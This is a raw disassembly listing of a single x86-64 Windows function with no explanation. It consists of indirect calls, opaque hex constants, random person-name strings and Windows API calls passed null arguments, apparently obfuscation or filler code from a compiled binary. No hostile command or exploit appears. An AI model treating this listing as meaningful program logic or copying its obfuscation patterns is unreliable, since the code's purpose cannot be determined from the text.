mov ecx, 0x9201690c
call fcn.00414620
mov rdx, qword [0x004caa00]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004caea0]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004ca360]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca270]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2f0]
mov dword [rdx], eax
mov rax, qword [0x004ca580]
xor edx, edx
mov dword [rax], 0x6f763aef
mov dword [rsp + 0x20], 0
call rbp
mov rax, qword [0x004ca440]
mov rcx, qword [0x004ca5b0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cac60]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca420]
mov dword [rdx], eax
mov rax, qword [0x004ca5d0]
xor edx, edx
mov dword [rax], 0x60694ce4
call r14
mov rax, qword [0x004ca500]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xdef1251d
mov dword [rsp + 0x20], 0
call rbp
mov rax, qword [0x004caaa0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca200]
mov dword [rdx], eax
mov rax, qword [0x004ca3d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca690]
mov dword [rdx], eax
mov rax, qword [0x004ca2a0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caaf0]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbp
mov rax, qword [0x004ca5a0]
mov r10, qword [rsp + 0x60]
xor edx, edx
lea r8, str.OllieWitting
xor ecx, ecx
mov dword [rax], 0xd763343f
call r10
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [str.Z2iy]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call r13
lea rcx, str.DonGerhold
call rsi
mov r11, qword [rsp + 0x68]
xor ecx, ecx
call r11
mov rax, qword [0x004cab70]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x5cb1f82f
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, str.RosalindSwaniawski
call rsi
xor ecx, ecx
call rdi
xor edx, edx
lea rcx, str.DanikaTurner
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
xor ecx, ecx
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret